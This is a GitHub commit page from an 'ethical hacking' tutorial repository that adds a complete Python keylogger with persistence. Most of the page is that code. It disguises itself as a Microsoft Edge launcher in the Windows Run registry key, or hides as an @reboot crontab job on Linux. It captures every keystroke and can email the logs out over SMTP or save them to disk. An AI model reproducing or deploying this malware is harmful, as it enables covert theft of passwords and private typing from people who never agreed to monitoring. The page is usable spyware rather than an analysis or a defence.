Skip to content

Commit 72dc592

Browse files
committed
add persistent malware tutorial
1 parent 671e056 commit 72dc592

File tree

4 files changed

+140
-0
lines changed

4 files changed

+140
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
6666
- [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor))
6767
- [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware))
6868
- [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection))
69+
- [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware))
6970

7071
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
7172
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
import keyboard # for keylogs
2+
import smtplib # for sending email using SMTP protocol (gmail)
3+
from threading import Timer
4+
from datetime import datetime
5+
from email.mime.multipart import MIMEMultipart
6+
from email.mime.text import MIMEText
7+
import os, shutil, subprocess, platform, sys
8+
from sys import executable
9+
10+
SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
11+
EMAIL_ADDRESS = "[email protected]"
12+
EMAIL_PASSWORD = "password_here"
13+
14+
def setup_persistence():
15+
"""This function sets up persistence (runs automatically at startup) of this executable.
16+
On Linux, it uses crontab to create a cron job that runs this script at reboot.
17+
On Windows, it uses the Windows Registry to add a key that runs this script at startup.
18+
Note that this will only work if the script is bundled as an executable using PyInstaller on Windows.
19+
On Linux, it will work with the script itself or the executable."""
20+
os_type = platform.system()
21+
if os_type == "Windows":
22+
location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge
23+
if not os.path.exists(location):
24+
shutil.copyfile(executable, location)
25+
subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True)
26+
elif os_type == "Linux":
27+
location = os.path.expanduser('~') + "/.config/KaliStartup"
28+
if not os.path.exists(location):
29+
# Create the autostart directory if it doesn't exist
30+
os.makedirs(location)
31+
filename = os.path.join(location, "KaliStartup")
32+
# Copy the keylogger to that new location
33+
shutil.copyfile(sys.executable, filename)
34+
# Add the keylogger to startup via crontab
35+
crontab_line = f"@reboot {filename}"
36+
os.system(f'(crontab -l; echo "{crontab_line}") | crontab -')
37+
38+
# Run the setup_persistence function
39+
setup_persistence()
40+
41+
class Keylogger:
42+
def __init__(self, interval, report_method="email"):
43+
"""Initialize the keylogger with the specified interval for sending reports and the method of reporting."""
44+
self.interval = interval
45+
self.report_method = report_method
46+
self.log = ""
47+
self.start_dt = datetime.now()
48+
self.end_dt = datetime.now()
49+
50+
def callback(self, event):
51+
"""Handle a keyboard event by logging the keystroke."""
52+
name = event.name
53+
if len(name) > 1:
54+
if name == "space":
55+
name = " "
56+
elif name == "enter":
57+
name = "[ENTER]\n"
58+
elif name == "decimal":
59+
name = "."
60+
else:
61+
name = name.replace(" ", "_")
62+
name = f"[{name.upper()}]"
63+
self.log += name
64+
65+
def update_filename(self):
66+
"""Update the filename for the log file based on the current date and time."""
67+
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
68+
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
69+
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
70+
71+
def report_to_file(self):
72+
"""This method creates a log file in the specified directory that contains
73+
the current keylogs in the `self.log` variable"""
74+
os_type = platform.system()
75+
if os_type == "Windows":
76+
log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs')
77+
elif os_type == "Linux":
78+
log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs')
79+
# create a directory for the logs
80+
if not os.path.exists(log_dir):
81+
os.makedirs(log_dir)
82+
log_file = os.path.join(log_dir, f"{self.filename}.txt")
83+
# write the logs to a file
84+
with open(log_file, "w") as f:
85+
print(self.log, file=f)
86+
print(f"[+] Saved {log_file}")
87+
88+
def prepare_mail(self, message):
89+
"""Prepare an email message with both text and HTML versions."""
90+
msg = MIMEMultipart("alternative")
91+
msg["From"] = EMAIL_ADDRESS
92+
msg["To"] = EMAIL_ADDRESS
93+
msg["Subject"] = "Keylogger logs"
94+
html = f"<p>{message}</p>"
95+
text_part = MIMEText(message, "plain")
96+
html_part = MIMEText(html, "html")
97+
msg.attach(text_part)
98+
msg.attach(html_part)
99+
return msg.as_string()
100+
101+
def sendmail(self, email, password, message, verbose=1):
102+
"""Send an email using SMTP with the logged keystrokes."""
103+
server = smtplib.SMTP(host="smtp.office365.com", port=587)
104+
server.starttls()
105+
server.login(email, password)
106+
server.sendmail(email, email, self.prepare_mail(message))
107+
server.quit()
108+
if verbose:
109+
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
110+
111+
def report(self):
112+
"""Report the captured keystrokes either by email or by saving to a file."""
113+
if self.log:
114+
self.end_dt = datetime.now()
115+
self.update_filename()
116+
if self.report_method == "email":
117+
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
118+
elif self.report_method == "file":
119+
self.report_to_file()
120+
self.start_dt = datetime.now()
121+
self.log = ""
122+
timer = Timer(interval=self.interval, function=self.report)
123+
timer.daemon = True
124+
timer.start()
125+
126+
def start(self):
127+
"""Start the keylogger."""
128+
self.start_dt = datetime.now()
129+
keyboard.on_release(callback=self.callback)
130+
self.report()
131+
print(f"{datetime.now()} - Started keylogger")
132+
keyboard.wait()
133+
134+
135+
if __name__ == "__main__":
136+
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
137+
keylogger.start()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
keyboard

0 commit comments

Comments
 (0)